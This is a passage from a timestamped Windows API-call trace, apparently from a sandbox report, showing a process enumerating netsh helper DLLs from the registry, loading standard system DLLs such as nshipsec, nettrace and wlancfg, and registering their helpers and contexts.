lpcbData=0x127588) returned 0x0 [0215.841] _wcsicmp (_String1="napmontr.dll", _String2="ipxmontr.dll") returned 5 [0215.841] _wcsicmp (_String1="napmontr.dll", _String2="ipxpromn.dll") returned 5 [0215.841] GetProcessHeap () returned 0x1e0000 [0215.841] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x258) returned 0x227a20 [0215.841] GetProcessHeap () returned 0x1e0000 [0215.841] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x12) returned 0x220500 [0215.841] GetProcessHeap () returned 0x1e0000 [0215.841] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x1a) returned 0x218f10 [0215.841] _wcsupr (in: _String="napmontr.dll" | out: _String="NAPMONTR.DLL") returned="NAPMONTR.DLL" [0215.841] GetProcessHeap () returned 0x1e0000 [0215.841] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x226cd0 | out: hHeap=0x1e0000) returned 1 [0215.841] LoadLibraryW (lpLibFileName="NAPMONTR.DLL") returned 0x7fef9150000 [0217.934] GetProcAddress (hModule=0x7fef9150000, lpProcName="InitHelperDll") returned 0x7fef916048c [0217.934] InitHelperDll () returned 0x0 [0217.934] RegisterHelper () returned 0x0 [0217.934] GetProcessHeap () returned 0x1e0000 [0217.934] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xb58) returned 0x2261d0 [0217.934] GetProcessHeap () returned 0x1e0000 [0217.934] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x226f10 | out: hHeap=0x1e0000) returned 1 [0217.934] RegisterHelper () returned 0x0 [0217.934] GetProcessHeap () returned 0x1e0000 [0217.934] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xbb0) returned 0x226d30 [0217.934] GetProcessHeap () returned 0x1e0000 [0217.934] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2261d0 | out: hHeap=0x1e0000) returned 1 [0217.935] RegisterHelper () returned 0x0 [0217.935] GetProcessHeap () returned 0x1e0000 [0217.935] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xc08) returned 0x227f60 [0217.935] GetProcessHeap () returned 0x1e0000 [0217.935] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x226d30 | out: hHeap=0x1e0000) returned 1 [0217.935] RegEnumValueW (in: hKey=0x90, dwIndex=0xe, lpValueName=0x204260, lpcchValueName=0x127540, lpReserved=0x0, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588 | out: lpValueName="nshipsec", lpcchValueName=0x127540, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588) returned 0x0 [0217.935] _wcsicmp (_String1="nshipsec.dll", _String2="ipxmontr.dll") returned 5 [0217.935] _wcsicmp (_String1="nshipsec.dll", _String2="ipxpromn.dll") returned 5 [0217.935] GetProcessHeap () returned 0x1e0000 [0217.935] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x280) returned 0x228b70 [0217.935] GetProcessHeap () returned 0x1e0000 [0217.935] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x12) returned 0x2205c0 [0217.935] GetProcessHeap () returned 0x1e0000 [0217.935] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x1a) returned 0x224000 [0217.935] _wcsupr (in: _String="nshipsec.dll" | out: _String="NSHIPSEC.DLL") returned="NSHIPSEC.DLL" [0217.935] GetProcessHeap () returned 0x1e0000 [0217.935] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x227a20 | out: hHeap=0x1e0000) returned 1 [0217.935] LoadLibraryW (lpLibFileName="NSHIPSEC.DLL") returned 0x7fef4c20000 [0221.563] GetProcAddress (hModule=0x7fef4c20000, lpProcName="InitHelperDll") returned 0x7fef4c26230 [0221.563] InitHelperDll () returned 0x0 [0221.563] RegisterHelper () returned 0x0 [0221.563] GetProcessHeap () returned 0x1e0000 [0221.563] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xc60) returned 0x22be00 [0221.563] GetProcessHeap () returned 0x1e0000 [0221.564] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x227f60 | out: hHeap=0x1e0000) returned 1 [0221.564] RegisterHelper () returned 0x0 [0221.564] GetProcessHeap () returned 0x1e0000 [0221.564] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xcb8) returned 0x22ca70 [0221.564] GetProcessHeap () returned 0x1e0000 [0221.564] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x22be00 | out: hHeap=0x1e0000) returned 1 [0221.564] RegisterHelper () returned 0x0 [0221.564] GetProcessHeap () returned 0x1e0000 [0221.564] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xd10) returned 0x22d730 [0221.564] GetProcessHeap () returned 0x1e0000 [0221.564] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x22ca70 | out: hHeap=0x1e0000) returned 1 [0221.630] RegEnumValueW (in: hKey=0x90, dwIndex=0xf, lpValueName=0x204260, lpcchValueName=0x127540, lpReserved=0x0, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588 | out: lpValueName="nettrace", lpcchValueName=0x127540, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588) returned 0x0 [0221.630] _wcsicmp (_String1="nettrace.dll", _String2="ipxmontr.dll") returned 5 [0221.630] _wcsicmp (_String1="nettrace.dll", _String2="ipxpromn.dll") returned 5 [0221.630] GetProcessHeap () returned 0x1e0000 [0221.630] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x2a8) returned 0x227f60 [0221.630] GetProcessHeap () returned 0x1e0000 [0221.630] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x12) returned 0x2207a0 [0221.630] GetProcessHeap () returned 0x1e0000 [0221.630] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x1a) returned 0x227530 [0221.630] _wcsupr (in: _String="nettrace.dll" | out: _String="NETTRACE.DLL") returned="NETTRACE.DLL" [0221.630] GetProcessHeap () returned 0x1e0000 [0221.631] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x228b70 | out: hHeap=0x1e0000) returned 1 [0221.631] LoadLibraryW (lpLibFileName="NETTRACE.DLL") returned 0x7fef4520000 [0223.432] GetProcAddress (hModule=0x7fef4520000, lpProcName="InitHelperDll") returned 0x7fef4567360 [0223.432] InitHelperDll () returned 0x0 [0223.432] RegisterHelper () returned 0x0 [0223.432] GetProcessHeap () returned 0x1e0000 [0223.433] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xd68) returned 0x232600 [0223.433] GetProcessHeap () returned 0x1e0000 [0223.433] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x22d730 | out: hHeap=0x1e0000) returned 1 [0223.433] RegEnumValueW (in: hKey=0x90, dwIndex=0x10, lpValueName=0x204260, lpcchValueName=0x127540, lpReserved=0x0, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588 | out: lpValueName="WcnNetsh", lpcchValueName=0x127540, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588) returned 0x0 [0223.433] _wcsicmp (_String1="WcnNetsh.dll", _String2="ipxmontr.dll") returned 14 [0223.433] _wcsicmp (_String1="WcnNetsh.dll", _String2="ipxpromn.dll") returned 14 [0223.433] GetProcessHeap () returned 0x1e0000 [0223.433] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x2d0) returned 0x233370 [0223.433] GetProcessHeap () returned 0x1e0000 [0223.433] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x12) returned 0x2206a0 [0223.433] GetProcessHeap () returned 0x1e0000 [0223.433] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x1a) returned 0x232520 [0223.433] _wcsupr (in: _String="WcnNetsh.dll" | out: _String="WCNNETSH.DLL") returned="WCNNETSH.DLL" [0223.433] GetProcessHeap () returned 0x1e0000 [0223.433] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x227f60 | out: hHeap=0x1e0000) returned 1 [0223.433] LoadLibraryW (lpLibFileName="WCNNETSH.DLL") returned 0x7fef90c0000 [0223.979] GetProcAddress (hModule=0x7fef90c0000, lpProcName="InitHelperDll") returned 0x7fef90c28e4 [0223.979] InitHelperDll () returned 0x0 [0223.979] RegisterHelper () returned 0x0 [0223.979] GetProcessHeap () returned 0x1e0000 [0223.979] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xdc0) returned 0x234e50 [0223.979] GetProcessHeap () returned 0x1e0000 [0223.979] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x232600 | out: hHeap=0x1e0000) returned 1 [0223.980] RegEnumValueW (in: hKey=0x90, dwIndex=0x11, lpValueName=0x204260, lpcchValueName=0x127540, lpReserved=0x0, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588 | out: lpValueName="p2pnetsh", lpcchValueName=0x127540, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588) returned 0x0 [0223.980] _wcsicmp (_String1="p2pnetsh.dll", _String2="ipxmontr.dll") returned 7 [0223.980] _wcsicmp (_String1="p2pnetsh.dll", _String2="ipxpromn.dll") returned 7 [0223.980] GetProcessHeap () returned 0x1e0000 [0223.980] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x2f8) returned 0x227f60 [0223.980] GetProcessHeap () returned 0x1e0000 [0223.980] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x12) returned 0x2206c0 [0223.980] GetProcessHeap () returned 0x1e0000 [0223.980] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x1a) returned 0x233950 [0223.980] _wcsupr (in: _String="p2pnetsh.dll" | out: _String="P2PNETSH.DLL") returned="P2PNETSH.DLL" [0223.980] GetProcessHeap () returned 0x1e0000 [0223.980] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x233370 | out: hHeap=0x1e0000) returned 1 [0223.980] LoadLibraryW (lpLibFileName="P2PNETSH.DLL") returned 0x7fef44f0000 [0225.286] GetProcAddress (hModule=0x7fef44f0000, lpProcName="InitHelperDll") returned 0x7fef44f5568 [0225.286] InitHelperDll () returned 0x0 [0225.286] RegisterHelper () returned 0x0 [0225.286] GetProcessHeap () returned 0x1e0000 [0225.286] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xe18) returned 0x23ae40 [0225.286] GetProcessHeap () returned 0x1e0000 [0225.286] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x234e50 | out: hHeap=0x1e0000) returned 1 [0225.286] RegisterHelper () returned 0x0 [0225.286] GetProcessHeap () returned 0x1e0000 [0225.286] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xe70) returned 0x23bc60 [0225.287] GetProcessHeap () returned 0x1e0000 [0225.287] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x23ae40 | out: hHeap=0x1e0000) returned 1 [0225.287] RegisterHelper () returned 0x0 [0225.287] GetProcessHeap () returned 0x1e0000 [0225.287] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xec8) returned 0x23cae0 [0225.287] GetProcessHeap () returned 0x1e0000 [0225.287] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x23bc60 | out: hHeap=0x1e0000) returned 1 [0225.287] RegisterHelper () returned 0x0 [0225.287] GetProcessHeap () returned 0x1e0000 [0225.287] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xf20) returned 0x23ae40 [0225.287] GetProcessHeap () returned 0x1e0000 [0225.287] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x23cae0 | out: hHeap=0x1e0000) returned 1 [0225.287] RegisterHelper () returned 0x0 [0225.287] GetProcessHeap () returned 0x1e0000 [0225.287] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xf78) returned 0x23bd70 [0225.288] GetProcessHeap () returned 0x1e0000 [0225.288] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x23ae40 | out: hHeap=0x1e0000) returned 1 [0225.288] RegisterHelper () returned 0x0 [0225.288] GetProcessHeap () returned 0x1e0000 [0225.288] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xfd0) returned 0x23ccf0 [0225.288] GetProcessHeap () returned 0x1e0000 [0225.288] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x23bd70 | out: hHeap=0x1e0000) returned 1 [0225.288] RegisterHelper () returned 0x0 [0225.288] GetProcessHeap () returned 0x1e0000 [0225.288] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x1028) returned 0x23ae40 [0225.288] GetProcessHeap () returned 0x1e0000 [0225.288] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x23ccf0 | out: hHeap=0x1e0000) returned 1 [0225.288] RegisterHelper () returned 0x0 [0225.288] GetProcessHeap () returned 0x1e0000 [0225.288] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x1080) returned 0x23be70 [0225.289] GetProcessHeap () returned 0x1e0000 [0225.289] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x23ae40 | out: hHeap=0x1e0000) returned 1 [0225.289] RegisterHelper () returned 0x0 [0225.289] GetProcessHeap () returned 0x1e0000 [0225.289] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10d8) returned 0x23cf00 [0225.289] GetProcessHeap () returned 0x1e0000 [0225.289] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x23be70 | out: hHeap=0x1e0000) returned 1 [0225.289] RegisterHelper () returned 0x0 [0225.289] GetProcessHeap () returned 0x1e0000 [0225.289] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x1130) returned 0x23dfe0 [0225.289] GetProcessHeap () returned 0x1e0000 [0225.290] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x23cf00 | out: hHeap=0x1e0000) returned 1 [0225.290] RegEnumValueW (in: hKey=0x90, dwIndex=0x12, lpValueName=0x204260, lpcchValueName=0x127540, lpReserved=0x0, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588 | out: lpValueName="wwancfg", lpcchValueName=0x127540, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588) returned 0x0 [0225.290] _wcsicmp (_String1="wwancfg.dll", _String2="ipxmontr.dll") returned 14 [0225.290] _wcsicmp (_String1="wwancfg.dll", _String2="ipxpromn.dll") returned 14 [0225.290] GetProcessHeap () returned 0x1e0000 [0225.290] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x320) returned 0x22da60 [0225.290] GetProcessHeap () returned 0x1e0000 [0225.290] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x220720 [0225.290] GetProcessHeap () returned 0x1e0000 [0225.290] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x220700 [0225.290] _wcsupr (in: _String="wwancfg.dll" | out: _String="WWANCFG.DLL") returned="WWANCFG.DLL" [0225.290] GetProcessHeap () returned 0x1e0000 [0225.290] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x227f60 | out: hHeap=0x1e0000) returned 1 [0225.290] LoadLibraryW (lpLibFileName="WWANCFG.DLL") returned 0x7fef4b30000 [0226.419] GetProcAddress (hModule=0x7fef4b30000, lpProcName="InitHelperDll") returned 0x7fef4b320c8 [0226.419] InitHelperDll () returned 0x0 [0226.419] RegisterHelper () returned 0x0 [0226.419] GetProcessHeap () returned 0x1e0000 [0226.419] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x1188) returned 0x23ae40 [0226.419] GetProcessHeap () returned 0x1e0000 [0226.419] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x23dfe0 | out: hHeap=0x1e0000) returned 1 [0226.419] RegEnumValueW (in: hKey=0x90, dwIndex=0x13, lpValueName=0x204260, lpcchValueName=0x127540, lpReserved=0x0, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588 | out: lpValueName="wlancfg", lpcchValueName=0x127540, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588) returned 0x0 [0226.419] _wcsicmp (_String1="wlancfg.dll", _String2="ipxmontr.dll") returned 14 [0226.419] _wcsicmp (_String1="wlancfg.dll", _String2="ipxpromn.dll") returned 14 [0226.419] GetProcessHeap () returned 0x1e0000 [0226.420] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x348) returned 0x234e50 [0226.420] GetProcessHeap () returned 0x1e0000 [0226.420] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x22ce80 [0226.420] GetProcessHeap () returned 0x1e0000 [0226.420] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x18) returned 0x22cec0 [0226.420] _wcsupr (in: _String="wlancfg.dll" | out: _String="WLANCFG.DLL") returned="WLANCFG.DLL" [0226.420] GetProcessHeap () returned 0x1e0000 [0226.420] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x22da60 | out: hHeap=0x1e0000) returned 1 [0226.420] LoadLibraryW (lpLibFileName="WLANCFG.DLL") returned 0x7fef43d0000 [0227.670] GetProcAddress (hModule=0x7fef43d0000, lpProcName="InitHelperDll") returned 0x7fef43d613c [0227.671] InitHelperDll () returned 0x0 [0227.671] RegisterHelper () returned 0x0 [0227.671] GetProcessHeap () returned 0x1e0000 [0227.671] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x11e0) returned 0x23cfd0 [0227.671] GetProcessHeap () returned 0x1e0000 [0227.671] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x23ae40 | out: hHeap=0x1e0000) returned 1 [0227.671] RegEnumValueW (in: hKey=0x90, dwIndex=0x14, lpValueName=0x204260, lpcchValueName=0x127540, lpReserved=0x0, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588 | out: lpValueName="peerdistsh", lpcchValueName=0x127540, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588) returned 0x0 [0227.671] _wcsicmp (_String1="peerdistsh.dll", _String2="ipxmontr.dll") returned 7 [0227.671] _wcsicmp (_String1="peerdistsh.dll", _String2="ipxpromn.dll") returned 7 [0227.671] GetProcessHeap () returned 0x1e0000 [0227.671] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x370) returned 0x2351a0 [0227.671] GetProcessHeap () returned 0x1e0000 [0227.671] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x16) returned 0x22cee0 [0227.671] GetProcessHeap () returned 0x1e0000 [0227.671] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x1e) returned 0x232f90 [0227.671] _wcsupr (in: _String="peerdistsh.dll" | out: _String="PEERDISTSH.DLL") returned="PEERDISTSH.DLL" [0227.671] GetProcessHeap () returned 0x1e0000 [0227.672] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x234e50 | out: hHeap=0x1e0000) returned 1 [0227.672] LoadLibraryW (lpLibFileName="PEERDISTSH.DLL") returned 0x7fef42e0000 [0227.949] GetProcAddress (hModule=0x7fef42e0000, lpProcName="InitHelperDll") returned 0x7fef435e69c [0227.949] InitHelperDll () returned 0x0 [0228.080] RegisterHelper () returned 0x0 [0228.080] GetProcessHeap () returned 0x1e0000 [0228.080] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x1238) returned 0x23e1c0 [0228.080] GetProcessHeap () returned 0x1e0000 [0228.080] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x23cfd0 | out: hHeap=0x1e0000) returned 1 [0228.080] RegisterHelper () returned 0x0 [0228.080] GetProcessHeap () returned 0x1e0000 [0228.080] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x1290) returned 0x23f400 [0228.081] GetProcessHeap () returned 0x1e0000 [0228.081] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x23e1c0 | out: hHeap=0x1e0000) returned 1 [0228.081] RegCloseKey (hKey=0x90) returned 0x0 [0228.081] GetProcessHeap () returned 0x1e0000 [0228.081] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x204260 | out: hHeap=0x1e0000) returned 1 [0228.081] GetProcessHeap () returned 0x1e0000 [0228.081] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fe070 | out: hHeap=0x1e0000) returned 1 [0228.082] GetProcessHeap () returned 0x1e0000 [0228.082] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x70) returned 0x20df10 [0228.083] GetProcessHeap () returned 0x1e0000 [0228.083] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x1e0000) returned 1 [0228.083] RegisterContext () returned 0x0 [0228.086] GetProcessHeap () returned 0x1e0000 [0228.086] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x70) returned 0x20df90 [0228.086] GetProcessHeap () returned 0x1e0000 [0228.086] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x1e0000) returned 1 [0228.734] RegisterContext () returned 0x0 [0228.735] GetProcessHeap () returned 0x1e0000 [0228.735] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x70) returned 0x20e010 [0228.735] GetProcessHeap () returned 0x1e0000 [0228.735] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x1e0000) returned 1 [0228.735] RegisterContext () returned 0x0 [0228.736] _wcsicmp (_String1="ipv6", _String2="ip") returned 118 [0228.736] _wcsicmp (_String1="ipv6", _String2="ip") returned 118 [0228.736] GetProcessHeap () returned 0x1e0000 [0228.736] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xe0) returned 0x22a5a0 [0228.736] GetProcessHeap () returned 0x1e0000 [0228.736] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x20e010 | out: hHeap=0x1e0000) returned 1 [0229.095] RegisterContext () returned 0x0 [0229.097] _wcsicmp (_String1="aaaa", _String2="ip") returned -8 [0229.097] _wcsicmp (_String1="aaaa", _String2="ipv6") returned -8 [0229.097] _wcsicmp (_String1="aaaa", _String2="ip") returned -8 [0229.097] GetProcessHeap () returned 0x1e0000 [0229.097] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x150) returned 0x228c50 [0229.097] GetProcessHeap () returned 0x1e0000 [0229.097] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x22a5a0 | out: hHeap=0x1e0000) returned 1 [0229.097] RegisterContext () returned 0x0 [0229.098] GetProcessHeap () returned 0x1e0000 [0229.098] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x1c0) returned 0x23ae40 [0229.098] GetProcessHeap () returned 0x1e0000 [0229.098] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x228c50 | out: hHeap=0x1e0000) returned 1 [0229.099] RegisterContext () returned 0x0 [0229.099] GetProcessHeap () returned 0x1e0000 [0229.099] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xe0) returned 0x22a5a0 [0229.099] GetProcessHeap () returned 0x1e0000 [0229.099] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x20df90 | out: hHeap=0x1e0000) returned 1 [0229.099] RegisterContext () returned 0x0 [0229.099] GetProcessHeap () returned 0x1e0000 [0229.099] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x150) returned 0x228c50 [0229.099] GetProcessHeap () returned 0x1e0000 [0229.099] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x22a5a0 | out: hHeap=0x1e0000) returned 1 [0229.100] RegisterContext () returned 0x0 [0229.100] GetProcessHeap () returned 0x1e0000 [0229.100] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x1c0) returned 0x23b290 [0229.100] GetProcessHeap () returned 0x1e0000 [0229.100] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x228c50 | out: hHeap=0x1e0000) returned 1 [0229.100] RegisterContext () returned 0x0 [0229.100] GetProcessHeap () returned 0x1e0000 [0229.100] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x230) returned 0x23b460 [0229.100] GetProcessHeap () returned 0x1e0000 [0229.100] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x23b290 | out: hHeap=0x1e0000) returned 1 [0229.635] RegisterContext () returned 0x0 [0229.635] GetProcessHeap () returned 0x1e0000 [0229.635] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x2a0) returned 0x23b6a0 [0229.635] GetProcessHeap () returned 0x1e0000 [0229.635] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x23b460 | out: hHeap=0x1e0000) returned 1 [0229.636] RegisterContext () returned 0x0 [0229.636] GetProcessHeap () returned 0x1e0000 [0229.636] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x310) returned 0x23b290 [0229.636] GetProcessHeap () returned 0x1e0000 [0229.636] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x23b6a0 | out: hHeap=0x1e0000) returned 1 [0229.636] RegisterContext () returned 0x0 [0229.636] GetProcessHeap () returned 0x1e0000 [0229.636] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x70) returned 0x20df90 [0229.636] GetProcessHeap () returned 0x1e0000 [0229.636] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x1e0000) returned 1 [0229.636] RegisterContext () returned 0x0 [0229.636] GetProcessHeap () returned 0x1e0000 [0229.636] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xe0) returned 0x22a5a0 [0229.636] GetProcessHeap () returned 0x1e0000 [0229.636] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x20df90 | out: hHeap=0x1e0000) returned 1 [0229.637] RegisterContext () returned 0x0 [0229.637] GetProcessHeap () returned 0x1e0000 [0229.637] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x150) returned 0x228c50 [0229.637] GetProcessHeap () returned 0x1e0000 [0229.637] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x22a5a0 | out: hHeap=0x1e0000) returned 1 [0229.637] RegisterContext () returned 0x0 [0229.637] GetProcessHeap () returned 0x1e0000 [0229.637] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x1c0) returned 0x23b5b0 [0229.637] GetProcessHeap () returned 0x1e0000 [0229.637] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x228c50 | out: hHeap=0x1e0000) returned 1 [0229.637] RegisterContext () returned 0x0 [0229.637] GetProcessHeap () returned 0x1e0000 [0229.637] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x380) returned 0x23b780 [0229.637] GetProcessHeap () returned 0x1e0000 [0229.637] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x23b290 | out: hHeap=0x1e0000) returned 1 [0229.637] RegisterContext () returned 0x0 [0229.638] GetProcessHeap () returned 0x1e0000 [0229.638] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x3f0) returned 0x23bb10 [0229.638] GetProcessHeap () returned 0x1e0000 [0229.638] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x23b780 | out: hHeap=0x1e0000) returned 1 [0229.638] RegisterContext () returned 0x0 [0229.638] GetProcessHeap () returned 0x1e0000 [0229.638] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x460) returned 0x246330 [0229.638] GetProcessHeap () returned 0x1e0000 [0229.638] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x23bb10 | out: hHeap=0x1e0000) returned 1 [0229.638] RegisterContext () returned 0x0 [0229.638] GetProcessHeap () returned 0x1e0000 [0229.638] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x4d0) returned 0x23b780 [0229.638] GetProcessHeap () returned 0x1e0000 [0229.638] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x246330 | out: hHeap=0x1e0000) returned 1 [0229.638] RegisterContext () returned 0x0 [0229.638] GetProcessHeap () returned 0x1e0000 [0229.638] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x70) returned 0x20df90 [0229.638] GetProcessHeap () returned 0x1e0000 [0229.638] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x1e0000) returned 1 [0229.638] RegisterContext () returned 0x0 [0229.638] GetProcessHeap () returned 0x1e0000 [0229.638] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xe0) returned 0x22a5a0 [0229.639] GetProcessHeap () returned 0x1e0000 [0229.639] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x20df90 | out: hHeap=0x1e0000) returned 1 [0229.639] RegisterContext () returned 0x0 